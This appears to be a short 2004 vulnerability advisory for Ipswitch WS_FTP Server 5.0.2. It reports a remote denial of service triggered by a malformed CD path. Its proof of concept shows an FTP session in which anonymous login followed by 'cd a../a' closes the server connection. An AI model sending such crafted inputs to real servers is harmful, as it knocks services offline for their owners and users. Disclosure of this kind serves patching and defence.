Ipswitch WS_FTP Server CD Command Malformed File Path Remote Denial of Service Vulnerability

Ipswitch WS_FTP Server CD Command Malformed File Path Remote Denial of Service Vulnerability

No exploit is required.

The following proof of concept is available:
E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host.